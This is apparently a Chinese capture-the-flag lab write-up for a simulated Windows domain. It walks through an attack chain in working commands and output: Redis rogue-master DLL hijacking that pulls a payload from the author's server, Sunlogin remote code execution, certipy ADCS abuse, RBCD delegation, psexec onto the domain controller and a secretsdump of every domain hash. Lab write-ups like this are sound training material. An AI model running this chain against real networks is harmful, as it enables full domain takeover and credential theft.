参考wp:https://www.c1trus.top/37-%E9%9D%B6%E6%9C%BAwp/1-%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/%E4%BB%BF%E7%9C%9F%E5%9C%BA%E6%99%AF/magicrelay.html

还是开局一个ip

39.99.248.17

先fscan扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
D:\red\内网\免杀工具包\免杀工具包\fscan火绒6.0免杀版\fscan2.0>fscan.exe -h 39.99.248.17

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 218 个有效端口
[+] 端口开放 39.99.248.17:139
[+] 端口开放 39.99.248.17:6379
[+] 端口开放 39.99.248.17:135
[+] 存活端口数量: 3
[*] 开始漏洞扫描...
[+] Redis扫描模块开始...
[*] NetInfo
[*] 39.99.248.17
[->] WIN-YUYAOX9Q
[->] 172.22.12.25
[+] Redis 39.99.248.17:6379 发现未授权访问 文件位置:C:\Program Files\Redis/dump.rdb
[!] 扫描错误 39.99.248.17:139 - netbios error
[+] 扫描已完成: 3/3
[*] 扫描结束,耗时: 10.0939223s

flag01

redis未授权

dll劫持

1
python DLLHijacker.py dbghelp.dll

https://xz.aliyun.com/news/13892

2022的解决方法

上传到服务器

1
python3 RedisWriteFile.py --rhost 39.99.248.17 --rport 6379 --lhost 47.113.229.136  --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@iZf8z44eks6m9aisejfxi7Z:/home/red/redis/RedisWriteFile-master# python3 RedisWriteFile.py --rhost 39.99.248.17 --rport 6379 --lhost 47.113.229.136  --lport 16379 --rpath 'C:\\Program Files\\Redis\\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'

______ _ _ _ _ _ _ ______ _ _
| ___ \ | (_) | | | | (_) | | ___(_) |
| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___
| // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \
| |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/
\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___|

Author : R3start
Reference : redis-rogue-server.py

[info] TARGET 39.99.248.17:6379
[info] SERVER 47.113.229.136:16379
[info] 连接恶意主服务器: 47.113.229.136:16379
[info] 连接恶意主状态: +OK

[info] 设置写出路径为: C:\\Program Files\\Redis\\
[info] 设置写出路径状态: +OK

[info] 设置写出文件为: dbghelp.dll
[info] 设置写出文件状态: +OK

[info] 断开主从连接: +OK

[info] 恢复原始文件名: +OK

root@iZf8z44eks6m9aisejfxi7Z:/home/red/redis/RedisWriteFile-master# redis-cli -h 39.99.248.17
39.99.248.17:6379> bgsave
Background saving started

或使用rabr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@iZf8z44eks6m9aisejfxi7Z:/home/red/redis/RabR-main# python3 redis-attack.py -r 39.99.248.17 -L 47.113.229.136 -wf dbghelp.dll

??????? ?????? ??????? ???????
????????????????????????????????
????????????????????????????????
????????????????????????????????
??? ?????? ?????????????? ???
??? ?????? ?????????? ??? ???
Redis-Attack By Replication(linux:4.x/5.x win:>=2.8) author:0671

[*] Connecting to 39.99.248.17:6379...
[*] Redis version: 3.0.504
[*] OS: Windows
[*] Arch_bits: 64
[*] Redis dbsize: 0
[√] Can use master-slave replication to hijack dbghelp.dll to attack the redis
[+] What do u want ? [h]ijack dbghelp.dll or [l]oad module or [e]xit: h
[*] Saveing dbdata
[*] Setting filename
[*] Sending SLAVEOF command to server
[+] Accepted connection from 39.99.248.17:6379
[+] Accepted connection from 39.99.248.17:6379
[*] Start listening on 47.113.229.136:16379
[*] Tring to run payload
[+] Accepted connection from 39.99.248.17:49809
[*] Clean up..
[*] Closing rogue server...
[*] Refuseing dbdata

后渗透,这里还是上线vshell方便操作些

直接用vshell挂载代理

flag02

向日葵rce

上传fscan进行内网信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
C:\Users\Public>fscan.exe -h 172.22.12.0/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88
,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,686
8,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,801
1,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,809
4,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,886
8,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,909
5,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,
18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] CIDR范围: 172.22.12.0-172.22.12.255
[*] 已生成IP范围: 172.22.12.0 - 172.22.12.255
[*] 已解析CIDR 172.22.12.0/24 -> IP范围 172.22.12.0-172.22.12.255
[*] 最终有效主机数量: 256
[+] 目标 172.22.12.6 存活 (ICMP)
[+] 目标 172.22.12.12 存活 (ICMP)
[+] 目标 172.22.12.25 存活 (ICMP)
[+] 目标 172.22.12.31 存活 (ICMP)
[+] ICMP存活主机数量: 4
[*] 共解析 218 个有效端口
[+] 端口开放 172.22.12.25:6379
[+] 端口开放 172.22.12.31:445
[+] 端口开放 172.22.12.25:445
[+] 端口开放 172.22.12.12:445
[+] 端口开放 172.22.12.6:445
[+] 端口开放 172.22.12.31:139
[+] 端口开放 172.22.12.25:139
[+] 端口开放 172.22.12.12:139
[+] 端口开放 172.22.12.6:139
[+] 端口开放 172.22.12.31:135
[+] 端口开放 172.22.12.25:135
[+] 端口开放 172.22.12.12:135
[+] 端口开放 172.22.12.6:135
[+] 端口开放 172.22.12.6:88
[+] 端口开放 172.22.12.31:80
[+] 端口开放 172.22.12.12:80
[+] 端口开放 172.22.12.31:21
[+] 存活端口数量: 17
[*] 开始漏洞扫描...
[+] Redis扫描模块开始...
[!] 扫描错误 172.22.12.25:445 - read tcp 172.22.12.25:54809->172.22.12.25:445: wsarecv: An existing connection was forcibly closed by the remote host.

[!] 扫描错误 172.22.12.12:445 - 无法确定目标是否存在漏洞
[!] 扫描错误 172.22.12.31:445 - read tcp 172.22.12.25:54808->172.22.12.31:445: wsarecv: An existing connection was forcibly closed by the remote host.

[*] NetBios 172.22.12.31 WORKGROUP\WIN-IISQE3PC
[*] NetInfo
[*] 172.22.12.25
[->] WIN-YUYAOX9Q
[->] 172.22.12.25
[*] NetBios 172.22.12.6 [+] DC:WIN-SERVER.xiaorang.lab Windows Server 2016 Standard 14393
[!] 扫描错误 172.22.12.6:88 - Get "http://172.22.12.6:88": read tcp 172.22.12.25:54822->172.22.12.6:88: wsarecv: An existing connection was forcibly c
losed by the remote host.
[*] OsInfo 172.22.12.6 (Windows Server 2016 Standard 14393)
[*] NetInfo
[*] 172.22.12.6
[->] WIN-SERVER
[->] 172.22.12.6
[*] NetInfo
[*] 172.22.12.12
[->] WIN-AUTHORITY
[->] 172.22.12.12
[*] NetInfo
[*] 172.22.12.31
[->] WIN-IISQE3PC
[->] 172.22.12.31
[+] ftp 172.22.12.31:21:anonymous
[->]SunloginClient_11.0.0.33826_x64.exe
[*] NetBios 172.22.12.12 WIN-AUTHORITY.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] 网站标题 http://172.22.12.12 状态码:200 长度:703 标题:IIS Windows Server
[*] 网站标题 http://172.22.12.31 状态码:200 长度:703 标题:IIS Windows Server
[+] [发现漏洞] 目标: http://172.22.12.12
漏洞类型: poc-yaml-active-directory-certsrv-detect
漏洞名称:
详细信息: %!s(<nil>)
[!] 扫描错误 172.22.12.25:139 - netbios error
[+] Redis 172.22.12.25:6379 发现未授权访问 文件位置:C:\Program Files\Redis/dump.rdb
[+] 扫描已完成: 17/17
[*] 扫描结束,耗时: 14.380259

整理一下

1
2
3
4
5
172.22.12.6    DC:WIN-SERVER.xiaorang.lab  域控
172.22.12.25 WIN-YUYAOX9Q.xiaorang.lab redis未授权 dll劫持 已拿下
172.22.12.31 WORKGROUP\WIN-IISQE3PC IIS网站 ftp匿名 向日葵rce
172.22.12.12 WIN-AUTHORITY.xiaorang.lab CA服务器 poc-yaml-active-directory-certsrv-detect

看见有web服务,先打web

ftp和前面都提示了向日葵,可以rce

在靶机上传工具

先扫端口,也可以本地扫,但是在入口机扫更快

1
xrkRce.exe -h 172.22.12.31  -t scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\Users\Public>xrkRce.exe -h 172.22.12.31  -t scan


╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐
╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘

by:T00ls.net
向日葵Rce
----------------------------------------------

[Info] 正在扫描中,请稍等....
[Info] 目标可能存在Rce!端口: 49686
花费时间为: 1m48.0254409s
----------------------------------------------

C:\Users\Public>xrkRce.exe -h 172.22.12.31 -t rce -p 49686 -c "whoami"


╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐
╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘

by:T00ls.net
向日葵Rce
----------------------------------------------

[Info] 命令执行成功:
nt authority\system

本地也是能成功的

由于后面不需要用到改靶机就直接读flag吧,不上线了

C:/Users/Administrator/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
xrkRce.exe -h 172.22.12.31  -t rce -p 49686 -c "dir C:/Users/Administrator/flag"




D:\SRC\工具\后渗透\远控\xrkRce_win>xrkRce.exe -h 172.22.12.31 -t rce -p 49686 -c "dir C:/Users/Administrator/flag"


╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐
╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘

by:T00ls.net
向日葵Rce
----------------------------------------------

[Info] 命令执行成功:


Ŀ¼: C:\Users\Administrator\flag


Mode LastWriteTime Length Name

---- ------------- ------ ----

-a---- 2025/1/6 14:14 512 flag02.txt





D:\SRC\工具\后渗透\远控\xrkRce_win>xrkRce.exe -h 172.22.12.31 -t rce -p 49686 -c "type C:/Users/Adm
inistrator/flag/flag02.txt"


╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐
╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘

by:T00ls.net
向日葵Rce
----------------------------------------------

[Info] 命令执行成功:
________ ___ ________ ________ ________ _______
|\ _____\\ \ |\ __ \|\ ____\|\ __ \ / ___ \
\ \ \__/\ \ \ \ \ \|\ \ \ \___|\ \ \|\ \/__/|_/ /|
\ \ __\\ \ \ \ \ __ \ \ \ __\ \ \\\ \__|// / /
\ \ \_| \ \ \____\ \ \ \ \ \ \|\ \ \ \\\ \ / /_/__
\ \__\ \ \_______\ \__\ \__\ \_______\ \_______\|\________\
\|__| \|_______|\|__|\|__|\|_______|\|_______| \|_______|
flag02��flag{29a46b72-8a82-182a-45f3-532475ec6fd4}

那么整理一下

flag04

ADCS

1
2
3
4
5
172.22.12.6    DC:WIN-SERVER.xiaorang.lab  域控
172.22.12.25 WIN-YUYAOX9Q.xiaorang.lab redis未授权 dll劫持 已拿下
172.22.12.31 WORKGROUP\WIN-IISQE3PC IIS网站 ftp匿名 向日葵rce 已拿下
172.22.12.12 WIN-AUTHORITY.xiaorang.lab CA服务器 poc-yaml-active-directory-certsrv-detect

前面扫出来adcs

那么我们就可以靠这个拿下域控

Active Directory 域权限提升漏洞(CVE-2022-26963 )允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员,修改DNSHostname为域控机器即可伪造域控机器申请证书

打adcs的前提已知一个域用户的账号密码

在这之前,我们需要先提权入口机,抓取到入口机的机器用户的hash

因为机器用户在域内

1
whoami /priv

可以用SweetPotato

主播太懒,直接cs里抓hash

1
2
3
4
5
[00000003] Primary
* Username : WIN-YUYAOX9Q$
* Domain : XIAORANG
* NTLM : e611213c6a712f9b18a8d056005a4f0f
* SHA1 : 1a8d2c95320592037c0fa583c1f62212d4ff8ce9

先获取CA证书名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[06/18 17:07:51] beacon> shell certutil
[06/18 17:07:51] [*] Tasked beacon to run: certutil
[06/18 17:07:51] [+] host called home, sent: 39 bytes
[06/18 17:07:51] [+] received output:
项 0:
名称: "xiaorang-WIN-AUTHORITY-CA"
部门: ""
单位: ""
区域: ""
省/自治区: ""
国家/地区: ""
配置: "WIN-AUTHORITY.xiaorang.lab\xiaorang-WIN-AUTHORITY-CA"
Exchange 证书: ""
签名证书: ""
描述: ""
服务器: "WIN-AUTHORITY.xiaorang.lab"
颁发机构: "xiaorang-WIN-AUTHORITY-CA"
净化的名称: "xiaorang-WIN-AUTHORITY-CA"
短名称: "xiaorang-WIN-AUTHORITY-CA"
净化的短名称: "xiaorang-WIN-AUTHORITY-CA"
标记: "1"
Web 注册服务器: ""
CertUtil: -dump 命令成功完成。

xiaorang-WIN-AUTHORITY-CA

那么接下来就先创建一个新的域内用户

在本地kali

1
proxychains4 -q certipy account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f  -dc-ip 172.22.12.6 -user Hundredsu -dns WIN-SERVER.xiaorang.lab -debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# proxychains4 -q certipy account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f -dc-ip 172.22.12.6 -user Hundredsu -dns WIN-SERVER.xiaorang.lab -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://172.22.12.6:636 - ssl
[+] Default path: DC=xiaorang,DC=lab
[+] Configuration path: CN=Configuration,DC=xiaorang,DC=lab
[*] Creating new account:
sAMAccountName : Hundredsu$
unicodePwd : ViKxqBEGeEwj6B03
userAccountControl : 4096
servicePrincipalName : HOST/Hundredsu
RestrictedKrbHost/Hundredsu
dnsHostName : WIN-SERVER.xiaorang.lab
[*] Successfully created account 'Hundredsu$' with password 'ViKxqBEGeEwj6B03'

1
Hundredsu$:ViKxqBEGeEwj6B03

用创建好的账号申请一个证书

1
proxychains4 certipy req -u 'Hundredsu$@xiaorang.lab' -p 'ViKxqBEGeEwj6B03' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -template 'Machine' -debug -dc-ip 172.22.12.6

报错超时

忘记配/etc/hosts了

1
2
3
4
172.22.12.6 WIN-SERVER.xiaorang.lab
172.22.12.12 xiaorang-WIN-AUTHORITY-CA
172.22.12.6 xiaorang.lab
172.22.12.12 WIN-AUTHORITY.xiaorang.lab

配置完后运行两次成功

然后用证书获取域控机器账号的hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
proxychains4 certipy auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug


┌──(root?kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# proxychains4 certipy auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: win-server$@xiaorang.lab
[*] Trying to get TGT...
[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.12.6:88 ... OK
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

这里报错 KDC_ERR_PADATA_TYPE_NOSUPP 多半时因为获取的证书没有 智能卡登录 EKU,但这里我们可以通过解决办法的话就是尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。

RBCD

参考文章

https://cloud.tencent.com/developer/article/2391445

提取出密钥与证书


有两种方法

使用certipy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy cert -pfx win-server.pfx -nokey -out win-server.crt

┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# certipy cert -pfx win-server.pfx -nokey -out win-server.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and to 'win-server.crt'


┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# certipy cert -pfx win-server.pfx -nocert -out win-server.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'win-server.key'

1
2
3
openssl pkcs12 -in win-server.pfx -nodes -out win-server.pem
openssl rsa -in win-server.pem -out win-server.key
openssl x509 -in win-server.pem -out win-server.crt

接下来将证书配置到域控的<font style="color:rgb(10, 191, 91);background-color:rgb(243, 245, 249);">RBCD</font>

1
proxychains -q python3 passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'Hundredsu$'
1
proxychains4 -q python3 /home/kali/red/impacket-0.11.0/examples/passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'Hundredsu$'
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# proxychains4 -q python3 /home/kali/red/impacket-0.11.0/examples/passthecert.py -action write_rbcd -crt win-server.crt -key win-server.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'Hundredsu$'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] Hundredsu$ can now impersonate users on win-server$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] Hundredsu$ (S-1-5-21-3745972894-1678056601-2622918667-1106)

申请一张cifs服务的ST

接下来同之前一样,申请ST,导入票据,无密码登录即可。

1
proxychains4 -q impacket-getST xiaorang.lab/'Hundredsu$':'ViKxqBEGeEwj6B03' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6
1
2
3
4
5
6
7
8
9
10
11
12
                                                                                                                                                                                                                                                                              
┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# proxychains4 -q impacket-getST xiaorang.lab/'Hundredsu$':'ViKxqBEGeEwj6B03' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6
Impacket v0.11.0 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

导入

1
2
3
4
5
6
7
export KRB5CCNAME=Administrator.ccache

┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# export KRB5CCNAME=Administrator.ccache



无密码登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk


┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on win-server.xiaorang.lab.....
[*] Found writable share ADMIN$
[*] Uploading file QMjMtnXk.exe
[*] Opening SVCManager on win-server.xiaorang.lab.....
[*] Creating service Igqf on win-server.xiaorang.lab.....
[*] Starting service Igqf.....
[!] Press help for extra shell commands Microsoft Windows [版本 10.0.14393]
(c) 2016 Microsoft Corporation。保留所有权利。

C:\windows\system32> whoami nt authority\system

C:\windows\system32>



C:\Users\Administrator\flag> type flag04.txt ________ _______ ___ ________ ___ ___ ___ ___ _____ ______ ________ ________ ___ ________
|\ __ \|\ ___ \ |\ \ |\ __ \ |\ \ / /|\ \ |\ \|\ _ \ _ \|\ __ \|\ ____\|\ \|\ ____\
\ \ \|\ \ \ __/|\ \ \ \ \ \|\ \ \ \ \/ / | \ \\_\ \ \ \\\__\ \ \ \ \|\ \ \ \___|\ \ \ \ \___|
\ \ _ _\ \ \_|/_\ \ \ \ \ __ \ \ \ / / \ \______ \ \ \\|__| \ \ \ __ \ \ \ __\ \ \ \ \
\ \ \\ \\ \ \_|\ \ \ \____\ \ \ \ \ \/ / / \|_____|\ \ \ \ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \____
\ \__\\ _\\ \_______\ \_______\ \__\ \__\__/ / / \ \__\ \__\ \ \__\ \__\ \__\ \_______\ \__\ \_______\
\|__|\|__|\|_______|\|_______|\|__|\|__|\___/ / \|__|\|__| \|__|\|__|\|__|\|_______|\|__|\|_______|
\|___|/


flag04: flag{4c7d6e81-3161-4853-b93f-349ab74a60e5}

flag03

导出hash

ntds.dit 是 Active Directory(AD)数据库文件,存储了整个域的用户账户信息,包括域管理员和所有域用户的 NTLM 哈希。
需要从 C:\Windows\NTDS\ntds.dit 提取数据,并且通常需要 **SYSTEM** 注册表文件进行解密
一般需要有域管的权限才能导出

1
proxychains4 impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kali)-[/home/kali/red/redis/RedisWriteFile-master]
└─# proxychains4 impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.11.0 - Copyright 2023 Fortra

[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.12.6:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3d0b51771c180c3bfcb89c8258922751
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d418e6aaeff1177bee5f84cf0466802c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
XIAORANG\WIN-SERVER$:plain_password_hex:9a74bcd9ddca464b2c608c510a99ea057cc802d8eb0abb670ad7547c93f0804b374b2211f64393cd59e0c816b1b18492b04aa92dfde26ce3fef8c7787187ae94253fcbb6bcd1a1572e80a7a56368e7ecf5cdeaa60403e370350d0a6b6a05c7efe8402d3a4fbd31644da6d4d9cae5eef218086e3b0a5ef40764702282c42f2fafb284ada5b56d9925eb306fc6826db426a31754900d9937ae202c0fc40374f2d2e8ca5e397eedf93ab96780cfcc3dabfcc19780c107b443893baad328d80702f2c23d42357cd972058abd36e5abd69da6eea348474f22e35a814ff8a93e6ea0151395fbbba3b79584f2ea2c536739039c
XIAORANG\WIN-SERVER$:aad3b435b51404eeaad3b435b51404ee:22fce7302a308a41d27d2da82b452791:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1013bf8bbf66971ac0c6c4938c9c187c859ef5b7
dpapi_userkey:0xfd5a847b92da1e611b6a94df40e674f00b7054f8
[*] NL$KM
0000 9D 83 14 71 4B 67 2E 66 8B 36 79 E5 74 94 DF CE ...qKg.f.6y.t...
0010 F8 0F 28 EC 6A 7A 89 28 4F F7 D1 07 B7 9A B8 6E ..(.jz.(O......n
0020 14 76 A6 CC 5E 52 A4 86 86 55 3A C1 37 51 5D 87 .v..^R...U:.7Q].
0030 3D 33 6E A7 45 EE 79 E8 89 60 CC A6 AA 98 58 EE =3n.E.y..`....X.
NL$KM:9d8314714b672e668b3679e57494dfcef80f28ec6a7a89284ff7d107b79ab86e1476a6cc5e52a48686553ac137515d873d336ea745ee79e88960cca6aa9858ee
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.12.6:135 ... OK
[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.12.6:49666 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa95e708a5182931157a526acf769b13:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a12e9453c13fc38f271f91059d9876d5:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
zhangling:1105:aad3b435b51404eeaad3b435b51404ee:07d308b46637d5a5035f1723d23dd274:::
WIN-SERVER$:1000:aad3b435b51404eeaad3b435b51404ee:22fce7302a308a41d27d2da82b452791:::
WIN-YUYAOX9Q$:1103:aad3b435b51404eeaad3b435b51404ee:e611213c6a712f9b18a8d056005a4f0f:::
WIN-AUTHORITY$:1104:aad3b435b51404eeaad3b435b51404ee:cdf3827b7f17be0ba30c35fcbbed6e9f:::
Hundredsu$:1106:aad3b435b51404eeaad3b435b51404ee:226f6d6268ffab5c7030c5ec14c8702f:::

主要看NTDS.DIT

就剩一个flag03

肯定是在ca服务器上了

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa95e708a5182931157a526acf769b13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
